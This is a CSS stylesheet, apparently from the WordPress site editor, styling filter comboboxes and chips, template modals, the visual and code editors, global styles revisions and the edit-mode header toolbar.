.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-check{
  flex-shrink:0;
  height:24px;
  width:24px;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-value [data-user-value]{
  font-weight:600;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-description{
  color:#757575;
  display:block;
  font-size:12px;
  line-height:16px;
  overflow:hidden;
  text-overflow:ellipsis;
}

.dataviews-search-widget-filter-combobox__wrapper{
  padding:8px;
  position:relative;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
  background:#f0f0f0;
  border:none;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin-left:0;
  margin-right:0;
  padding:0 8px 0 32px;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
    font-size:13px;
    line-height:normal;
  }
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
    font-size:13px;
  }
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{
  background:#fff;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::placeholder{
  color:#757575;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-decoration{
  -webkit-appearance:none;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__icon{
  align-items:center;
  display:flex;
  justify-content:center;
  left:12px;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}

.dataviews-filter-summary__operators-container{
  padding:8px 8px 0;
}
.dataviews-filter-summary__operators-container:empty{
  display:none;
}
.dataviews-filter-summary__operators-container .dataviews-filter-summary__operators-filter-name{
  color:#757575;
}

.dataviews-filter-summary__chip-container{
  position:relative;
  white-space:pre-wrap;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip{
  align-items:center;
  background:#f0f0f0;
  border:1px solid #0000;
  border-radius:16px;
  color:#757575;
  cursor:pointer;
  display:flex;
  height:32px;
  padding:0 12px;
  position:relative;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-reset{
  padding-inline-end:28px;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip[aria-expanded=true]{
  background:#e0e0e0;
  color:#1e1e1e;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:var(--wp-admin-theme-color);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values[aria-expanded=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip .dataviews-filter-summary__filter-text-name{
  font-weight:500;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove{
  align-items:center;
  background:#0000;
  border:0;
  border-radius:50%;
  cursor:pointer;
  display:flex;
  height:24px;
  justify-content:center;
  left:4px;
  padding:0;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove svg{
  fill:#757575;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover{
  background:#e0e0e0;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus svg,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover svg{
  fill:#1e1e1e;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values svg{
  fill:var(--wp-admin-theme-color);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}

.edit-site-custom-template-modal__contents-wrapper{
  height:100%;
  justify-content:flex-start !important;
}
.edit-site-custom-template-modal__contents-wrapper>*{
  width:100%;
}
.edit-site-custom-template-modal__contents-wrapper__suggestions_list{
  margin-left:-12px;
  margin-right:-12px;
  width:calc(100% + 24px);
}
.edit-site-custom-template-modal__contents>.components-button{
  height:auto;
  justify-content:center;
}
@media (min-width:782px){
  .edit-site-custom-template-modal{
    width:456px;
  }
}
@media (min-width:600px){
  .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{
    max-height:224px;
    overflow-y:auto;
  }
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{
  display:block;
  height:auto;
  overflow-wrap:break-word;
  padding:8px 12px;
  text-align:right;
  white-space:pre-wrap;
  width:100%;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{
  background:none;
  font-weight:700;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{
  color:var(--wp-admin-theme-color);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{
  background-color:#f0f0f0;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{
  display:block;
  overflow:hidden;
  text-overflow:ellipsis;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{
  color:#757575;
  word-break:break-all;
}

.edit-site-custom-template-modal__no-results{
  border:1px solid #ccc;
  border-radius:2px;
  padding:16px;
}

.edit-site-custom-generic-template__modal .components-modal__header{
  border-bottom:none;
}
.edit-site-custom-generic-template__modal .components-modal__content:before{
  margin-bottom:4px;
}

.edit-site-template-actions-loading-screen-modal{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  background-color:initial;
}
.edit-site-template-actions-loading-screen-modal.is-full-screen{
  background-color:#fff;
  box-shadow:0 0 0 #0000;
  min-height:100%;
  min-width:100%;
}
.edit-site-template-actions-loading-screen-modal__content{
  align-items:center;
  display:flex;
  height:100%;
  justify-content:center;
  position:absolute;
  right:50%;
  transform:translateX(50%);
}

.edit-site-add-new-template__modal{
  margin-top:64px;
  max-height:calc(100% - 128px);
  max-width:832px;
  width:calc(100% - 64px);
}
@media (min-width:960px){
  .edit-site-add-new-template__modal{
    width:calc(100% - 128px);
  }
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{
  fill:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{
  align-items:flex-start;
  flex-grow:1;
}
.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:100%;
  max-height:40px;
  max-width:40px;
  padding:8px;
}

.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{
  border:1px solid #ddd;
  border-radius:2px;
  display:flex;
  flex-direction:column;
  justify-content:center;
  outline:1px solid #0000;
  padding:32px;
}
.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{
  color:#1e1e1e;
}
.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{
  color:#757575;
}
.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-color:#0000;
  color:var(--wp-admin-theme-color-darker-10);
}
.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{
  border-color:#0000;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:3px solid #0000;
}
.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{
  grid-column-end:4;
  grid-column-start:1;
}

.edit-site-add-new-template__template-list__contents>.components-button{
  align-items:flex-start;
  height:100%;
  text-align:start;
}

.edit-site-block-editor__editor-styles-wrapper .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:6px 12px;
}
.edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{
  padding:6px;
}

.edit-site-editor-canvas__block-list.is-navigation-block{
  padding:24px;
}

.edit-site-visual-editor{
  align-items:center;
  background-color:#ddd;
  display:block;
  height:100%;
  overflow:hidden;
  position:relative;
}
.edit-site-visual-editor iframe{
  background:#fff;
  display:block;
  height:100%;
  width:100%;
}
.edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}
.edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{
  padding:24px;
}
.edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{
  border-radius:2px;
  max-height:100%;
}
.edit-site-visual-editor.is-focus-mode .components-resizable-box__container{
  overflow:visible;
}
.edit-site-visual-editor .components-resizable-box__container{
  margin:0 auto;
  overflow:auto;
}
.edit-site-visual-editor.is-view-mode{
  box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c;
}

.resizable-editor__drag-handle{
  -webkit-appearance:none;
          appearance:none;
  background:none;
  border:0;
  border-radius:2px;
  bottom:0;
  cursor:ew-resize;
  margin:auto 0;
  outline:none;
  padding:0;
  position:absolute;
  top:0;
  width:12px;
}
.resizable-editor__drag-handle.is-variation-default{
  height:100px;
}
.resizable-editor__drag-handle.is-variation-separator{
  height:100%;
  left:0;
  width:24px;
}
.resizable-editor__drag-handle.is-variation-separator:after{
  background:#0000;
  border-radius:0;
  left:0;
  right:50%;
  transform:translateX(1px);
  transition:all .2s ease;
  transition-delay:.1s;
  width:2px;
}
@media (prefers-reduced-motion:reduce){
  .resizable-editor__drag-handle.is-variation-separator:after{
    animation-delay:0s;
    animation-duration:1ms;
    transition-delay:0s;
    transition-duration:0s;
  }
}
.resizable-editor__drag-handle:after{
  background:#949494;
  border-radius:2px;
  bottom:24px;
  content:"";
  left:0;
  position:absolute;
  right:4px;
  top:24px;
  width:4px;
}
.resizable-editor__drag-handle.is-left{
  right:-16px;
}
.resizable-editor__drag-handle.is-right{
  left:-16px;
}
.resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{
  opacity:1;
}
.resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{
  background:#ccc;
}
.resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{
  background:var(--wp-admin-theme-color);
}
.resizable-editor__drag-handle:focus:after{
  box-shadow:0 0 0 1px #2f2f2f, 0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color);
}
.resizable-editor__drag-handle.is-variation-separator:focus:after{
  border-radius:2px;
  box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color);
}

.edit-site-canvas-loader{
  align-items:center;
  animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;
  animation-fill-mode:forwards;
  display:flex;
  height:100%;
  justify-content:center;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-canvas-loader{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.edit-site-canvas-loader>div{
  width:160px;
}

@keyframes edit-site-canvas-loader__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.edit-site-code-editor{
  background-color:#fff;
  min-height:100%;
  position:relative;
  width:100%;
}
.edit-site-code-editor__body{
  margin-left:auto;
  margin-right:auto;
  max-width:1080px;
  padding:12px;
  width:100%;
}
@media (min-width:960px){
  .edit-site-code-editor__body{
    padding:24px;
  }
}
.edit-site-code-editor__toolbar{
  background:#fffc;
  display:flex;
  left:0;
  padding:4px 12px;
  position:sticky;
  right:0;
  top:0;
  z-index:1;
}
@media (min-width:600px){
  .edit-site-code-editor__toolbar{
    padding:12px;
  }
}
@media (min-width:960px){
  .edit-site-code-editor__toolbar{
    padding:12px 24px;
  }
}
.edit-site-code-editor__toolbar h2{
  color:#1e1e1e;
  font-size:13px;
  line-height:36px;
  margin:0 0 0 auto;
}

textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{
  border:1px solid #949494;
  border-radius:0;
  box-shadow:none;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:16px !important;
  line-height:2.4;
  margin:0;
  min-height:200px;
  overflow:hidden;
  padding:16px;
  resize:none;
  transition:border .1s ease-out,box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{
    font-size:15px !important;
    padding:24px;
  }
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  position:relative;
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.edit-site-global-styles-preview{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  line-height:1;
}

.edit-site-global-styles-preview__iframe{
  display:block;
  max-width:100%;
}

.edit-site-typography-preview{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  display:flex;
  justify-content:center;
  margin-bottom:16px;
  min-height:100px;
  overflow:hidden;
}

.edit-site-typography-panel__full-width-control{
  grid-column:1 /  -1;
  max-width:100%;
}

.edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{
  margin:16px;
}

.edit-site-global-styles-screen-typography__indicator{
  align-items:center;
  border-radius:2px;
  display:flex !important;
  font-size:14px;
  height:24px;
  justify-content:center;
  width:24px;
}

.edit-site-global-styles-screen-typography__font-variants-count{
  color:#757575;
}

.edit-site-global-styles-font-families__add-fonts{
  justify-content:center;
}

.edit-site-global-styles-screen-colors{
  margin:16px;
}
.edit-site-global-styles-screen-colors .color-block-support-panel{
  border-top:none;
  padding-left:0;
  padding-right:0;
}

.edit-site-global-styles-header__description{
  padding:0 16px;
}

.edit-site-block-types-search{
  margin-bottom:8px;
  padding:0 16px;
}

.edit-site-global-styles-header{
  margin-bottom:0 !important;
}

.edit-site-global-styles-subtitle{
  font-size:11px !important;
  font-weight:500 !important;
  margin-bottom:0 !important;
  text-transform:uppercase;
}

.edit-site-global-styles-section-title{
  color:#2f2f2f;
  font-weight:600;
  line-height:1.2;
  margin:0;
  padding:16px 16px 0;
}

.edit-site-global-styles-variations_item{
  border-radius:2px;
  box-sizing:border-box;
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
  border-radius:2px;
  box-shadow:0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
  padding:2px;
}
.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px #1e1e1e;
  outline-width:3px;
}
.edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-global-styles-variations_item:focus-visible{
  outline:3px solid #0000;
  outline-offset:0;
}

.edit-site-global-styles-icon-with-current-color{
  fill:currentColor;
}

.edit-site-global-styles__color-indicator-wrapper{
  flex-shrink:0;
  height:24px;
}

.edit-site-global-styles__block-preview-panel{
  border:1px solid #e0e0e0;
  border-radius:2px;
  overflow:auto;
  position:relative;
  width:100%;
}

.edit-site-global-styles-screen-css{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
}
.edit-site-global-styles-screen-css .components-v-stack{
  flex:1 1 auto;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{
  direction:ltr;
  flex:1 1 auto;
}

.edit-site-global-styles-screen-css-help-link{
  display:block;
  margin-top:8px;
}

.edit-site-global-styles-screen-variations{
  border-top:1px solid #ddd;
  margin-top:16px;
}
.edit-site-global-styles-screen-variations>*{
  margin:24px 16px;
}

.edit-site-global-styles-sidebar__navigator-screen{
  display:flex;
  flex-direction:column;
}

.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{
  background:unset;
  color:inherit;
}

.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{
  fill:currentColor;
}

.edit-site-global-styles-screen-revisions__revisions-list{
  flex-grow:1;
  list-style:none;
  margin:0 16px 16px;
}
.edit-site-global-styles-screen-revisions__revisions-list li{
  margin-bottom:0;
}

.edit-site-global-styles-screen-revisions__revision-item{
  cursor:pointer;
  display:flex;
  flex-direction:column;
  position:relative;
}
.edit-site-global-styles-screen-revisions__revision-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{
  content:"\a";
  display:block;
  position:absolute;
}
.edit-site-global-styles-screen-revisions__revision-item:before{
  background:#ddd;
  border:4px solid #0000;
  border-radius:50%;
  height:8px;
  right:17px;
  top:18px;
  transform:translate(50%, -50%);
  width:8px;
  z-index:1;
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:2px;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
  outline:3px solid #0000;
  outline-offset:-2px;
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__revision-button{
  opacity:1;
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected:before{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
}
.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item.is-selected .edit-site-global-styles-screen-revisions__meta{
  color:#1e1e1e;
}
.edit-site-global-styles-screen-revisions__revision-item:after{
  border:.5px solid #ddd;
  height:100%;
  right:16px;
  top:0;
  width:0;
}
.edit-site-global-styles-screen-revisions__revision-item:first-child:after{
  top:18px;
}
.edit-site-global-styles-screen-revisions__revision-item:last-child:after{
  height:18px;
}
.edit-site-global-styles-screen-revisions__revision-item .edit-site-global-styles-screen-revisions__revision-button{
  display:block;
  height:auto;
  outline-offset:-2px;
  padding:12px 40px 4px 12px;
  position:relative;
  width:100%;
  z-index:1;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{
  align-self:flex-start;
  margin:4px 40px 12px 12px;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{
  color:#757575;
  font-size:12px;
}

.edit-site-global-styles-screen-revisions__description{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{
  font-size:12px;
  font-weight:600;
  text-transform:uppercase;
}

.edit-site-global-styles-screen-revisions__meta{
  align-items:flex-start;
  display:flex;
  justify-content:start;
  margin-bottom:4px;
  text-align:right;
  width:100%;
}
.edit-site-global-styles-screen-revisions__meta img{
  border-radius:100%;
  height:16px;
  margin-left:8px;
  width:16px;
}

.edit-site-global-styles-screen-revisions__loading{
  margin:24px auto !important;
}

.edit-site-global-styles-screen-revisions__changes{
  line-height:1.4;
  list-style:disc;
  margin-right:12px;
  text-align:right;
}
.edit-site-global-styles-screen-revisions__changes li{
  margin-bottom:4px;
}

.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{
  gap:2px;
  justify-content:space-between;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{
  height:1px;
  margin:-1px;
  overflow:hidden;
  position:absolute;
  right:-1000px;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{
  font-size:12px;
  will-change:opacity;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{
  color:#1e1e1e;
  font-size:28px;
  font-weight:200;
  line-height:1.2;
  margin-bottom:4px;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled{
  color:#949494;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:hover{
  background:#0000;
}

.edit-site-global-styles-screen-revisions__footer{
  background:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:56px;
  min-width:100%;
  padding:12px;
  position:sticky;
  z-index:1;
}

.edit-site-header-edit-mode{
  align-items:center;
  background-color:#fff;
  border-bottom:1px solid #e0e0e0;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  height:60px;
  justify-content:space-between;
  padding-right:60px;
  width:100%;
}
.edit-site-header-edit-mode .edit-site-header-edit-mode__start{
  align-items:center;
  border:none;
  display:flex;
  flex-shrink:2;
  height:100%;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-header-edit-mode .edit-site-header-edit-mode__start{
    padding-left:2px;
  }
}
.edit-site-header-edit-mode .edit-site-header-edit-mode__end{
  display:flex;
  justify-content:flex-end;
}
.edit-site-header-edit-mode .edit-site-header-edit-mode__center{
  align-items:center;
  display:flex;
  flex-grow:1;
  height:100%;
  justify-content:center;
  margin:0 16px;
  min-width:0;
}

.edit-site-header-edit-mode__toolbar{
  align-items:center;
  display:flex;
  gap:8px;
  padding-right:16px;
}
@media (min-width:782px){
  .edit-site-header-edit-mode__toolbar{
    padding-right:20px;
  }
}
@media (min-width:1280px){
  .edit-site-header-edit-mode__toolbar{
    padding-left:8px;
  }
}
.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{
  transition:transform .2s cubic-bezier(.165, .84, .44, 1);
}
@media (prefers-reduced-motion:reduce){
  .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{
  transform:rotate(-45deg);
}
.edit-site-header-edit-mode__actions{
  align-items:center;
  display:inline-flex;
  flex-wrap:nowrap;
  gap:8px;
  padding-left:4px;
}
@media (min-width:600px){
  .edit-site-header-edit-mode__actions{
    padding-left:8px;
  }
}

.edit-site-header-edit-mode__preview-options{
  opacity:1;
  transition:opacity .3s;
}
.edit-site-header-edit-mode__preview-options.is-zoomed-out{
  opacity:0;
}

.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{
  width:auto;
}
.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{
  display:none;
}
.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{
  content:attr(aria-label);
}
.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{
  background-color:initial;
}
.edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{
  background-color:initial;
  box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);
}
.edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{
  padding-left:6px;
  padding-right:6px;
}
.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{
  content:none;
}
.edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{
  height:36px;
  padding:0 8px;
}
.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover{
  border-right:none;
}
.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover:before{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.edit-site-header-edit-mode.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container:before{
  background:#ddd;
  right:calc(50% + 1px);
  width:calc(100% - 24px);
}

.has-fixed-toolbar .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.has-fixed-toolbar .selected-block-tools-wrapper:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  width:1px;
}
.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group{
  border-left:none;
}
